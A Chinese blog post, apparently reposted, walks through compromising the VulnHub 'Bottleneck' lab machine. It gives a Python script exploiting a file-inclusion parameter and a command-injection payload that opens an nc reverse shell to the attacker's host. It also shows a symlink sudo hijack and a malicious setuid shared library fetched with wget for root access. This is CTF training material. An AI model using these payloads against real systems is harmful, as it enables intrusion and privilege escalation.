bottleneck靶机_vulnhub之bottleneck的实践
发布日期:2022-02-18 13:20:09 浏览次数:7 分类:技术文章

本文共 2901 字,大约阅读时间需要 9 分钟。

本周实践的是vulnhub的bottleneck镜像,下载地址,https://download.vulnhub.com/bottleneck/Bottleneck.ova,

这个靶机的实验还是很有技术含量的,没点儿能力抄都抄不明白,

首先用workstation导入ova镜像,发现获取不到ip地址,

于是又换成virtualbox导入ova镜像,这回能获取到ip地址了,

8354f34035ce97378da5390ddb823eb0.png

省的做地址扫描了,直接端口扫描,

78cd3176ecf0595e12961f01eb2e2c8e.png

有http服务,就再来个目录爆破,dirb,

d1160f1c02ab4030e2fddd24ab15a7a0.png

只搞到一个主页,没啥用,继续上更高级的目录爆破,dirbuster,

5b169de5b5d291540bbb573fc5f317ce.png

扫了半天,终于扫出来个image_gallery.php,

b294d39bf21d9c733603edb0473ed765.png

这里还尝试了网上其它大神用的工具,gobuster,需要在kali里安装,

sudo apt install gobuster,sudo apt install seclists,

然后扫描,sudo gobuster dir -u http://192.168.1.105 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip,很快就能得到想要的结果,下次再目录爆破直接上这个,

2e492c08b724c65a4517996187093e99.png

访问image_gallery.php,查看源码,发现可以提交参数,第一个参数是时间戳,第二个参数怀疑是文件路径,猜测这里有文件包含漏洞,

eec6607fad31e976937738e4db2d8aa8.png

自己写一个python脚本试试它,

#coding:utf-8

import time
import base64
import urllib
import requests
string='''../image_gallery.php'''
tt=time.time()
payload=base64.b64encode(string.encode("utf-8"))
urll="http://192.168.1.105/image_gallery.php"
payloads={
    't' : tt,
    'f' : payload}
r=requests.get(url=urll,params=payloads)
print r.text

经过验证,payload是../image_gallery.php时能够得到有意义的返回,

获取到image_gallery.php的源文件,里面给出了image_gallery_load.php的线索,

2cd78bec4ab815dff5230b0f7c13c79a.png

继续用上面的代码获取到image_gallery_load.php的源文件,能够看到虽然这个url有文件包含漏洞,但是设置了黑名单,一旦访问黑名单里的文件路径就会通过python脚本写日志,

c5412285e0d5faa7171736a686d04c55.png

我说的技术含量一来了,通过研究上面的黑名单和python脚本写日志,可以构造特殊的payload,让python脚本写日志的过程中帮忙执行反弹shell命令,则上面自己写的python脚本改造如下,

#coding:utf-8

import time
import base64
import urllib
import requests
string='''/etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.107 4444 >/tmp/f") and\''''
tt=time.time()
payload=base64.b64encode(string.encode("utf-8"))
urll="http://192.168.1.105/image_gallery.php"
payloads={
    't' : tt,
    'f' : payload}
r=requests.get(url=urll,params=payloads)
print r.text

执行前先在kali攻击机上开一个监听,

msfconsole

use exploit/multi/handler
set payload cmd/unix/reverse_netcat_gaping
show options
set LHOST 192.168.1.107
exploit

b217cb3249caad5b01e6b531736d27bd.png

然后执行上面的python脚本,shell就过来了,id看一眼,不是root,需要继续提权,

c3cfe78e457d6f76742d773cda94938e.png

sudo -l看一眼,发现是bytevsbyte用户可以执行/var/www/html/web_utils/clear_logs,进/var/www/html/web_utils看看,ls -la,发现/var/www/html/web_utils/clear_logs链接到了/opt/clear_logs.sh,

技术含量二来了,自己写个bash命令文件,让/var/www/html/web_utils/clear_logs链接过来,cd /tmp,echo "/bin/bash" > clear_logs_bak,

改成可执行的,chmod 777 clear_logs_bak,
ln -snf /tmp/clear_logs_bak /var/www/html/web_utils/clear_logs,

这回以bytevsbyte身份执行/var/www/html/web_utils/clear_logs,

sudo -u bytevsbyte /var/www/html/web_utils/clear_logs,

就拿到bytevsbyte的用户shell了,

f553f12449f3ea8e16825f0461d8835a.png

然后查查bytevsbyte用户下什么程序是以root权限执行的,

find / -perm -u=s -type f 2>/dev/null,

发现了个可疑的/usr/test/testlib,

0413edffcfb54802b40a801465293eef.png

进/usr/test/看看,发现有源码文件,看意思是调用了一个叫test_this的函数,

18e2e78f76c51f34a985700bd426cea5.png

技术含量三来了,参考这个https://github.com/jivoi/pentest/blob/master/shell/rootshell.c,自己写一个库文件,劫持test_this函数,

在kali攻击机里,vim test_this.c,

#include

#include
#include
#include
int test_this(void)
{
setuid(0); setgid(0); system("/bin/bash");
}

编译成库文件,gcc -fPIC -shared test_this.c -o test_this.so,

kali攻击机上开个http下载服务,python -m SimpleHTTPServer,

在靶机上下载这个库文件,wget http://192.168.1.107/test_this.so,

并执行,/usr/test/testlib /tmp/test_this.so,就拿到root的shell了,

0ff677155a6f1c59e77f2405bc27231f.png

转载地址:https://blog.csdn.net/weixin_28929351/article/details/112350177 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:mysql统计每小时订单_MySQL性能优化 — 实践篇1
下一篇:大一高数下册笔记整理_华东师范大学数学系《数学分析》第4版下册复习笔记和课后习题答案考研真题详解复习答案备考考研资料...

发表评论

最新留言

网站不错 人气很旺了 加油
[***.192.178.218]2024年03月27日 14时51分51秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

推荐文章

C++_引用做函数的返回值_引用的本质---C++语言工作笔记032 2019-04-26
AndroidStudio_在android中使用定时器_异步定时实现心跳保活功能---Android原生开发工作笔记231 2019-04-26
AndroidStudio_Android Studio项目中报Call requires API level 18 (current min is 16)---Android原生开发工作笔记232 2019-04-26
认识什么是运维中的CI/CD---持续集成交付工作笔记001 2019-04-26
AndroidStudio_android中实现图片动态设置图片的位置以及图片动态缩放---Android原生开发工作笔记234 2019-04-26
C++_引用_常量引用_函数_函数的默认参数---C++语言工作笔记033 2019-04-26
AndroidStudio_android中实现ImageView的清空操作---Android原生开发工作笔记235 2019-04-26
C++_函数_函数的占位参数_函数重载---C++语言工作笔记034 2019-04-26
C++_函数_函数重载注意事项_---C++语言工作笔记035 2019-04-26
C++_类和对象_封装_属性和行为做为整体_封装案例---C++语言工作笔记036 2019-04-26
AndroidStudio_AndroidStudio debug的时候断点打不上_No executable code found at line---Android原生开发工作笔记236 2019-04-26
YiShaAdmin_项目的默认 XML 命名空间必须为 MSBuild XML 命名空间。如果项目是用 MSBuild 2003 格式---.Net_C#_若依.Net版Web框架使用及改造001 2019-04-26
C++_类和对象_封装_访问权限_C++中struct和class的区别---C++语言工作笔记037 2019-04-26
认识DICT_CT_IT_DT---理论概念工作笔记001 2019-04-26
C++_类和对象_封装_成员属性私有化---C++语言工作笔记038 2019-04-26
C++_类和对象_封装_案例_立方体类_案例点和圆的关系---C++语言工作笔记039 2019-04-26
C++_类和对象_对象特性_构造函数和析构函数---C++语言工作笔记040 2019-04-26
C++_类和对象_对象特性_构造函数的分类以及调用---C++语言工作笔记041 2019-04-26
C++_类和对象_对象特性_拷贝构造函数调用时机---C++语言工作笔记042 2019-04-26
C++_类和对象_对象特性_构造函数调用规则---C++语言工作笔记043 2019-04-26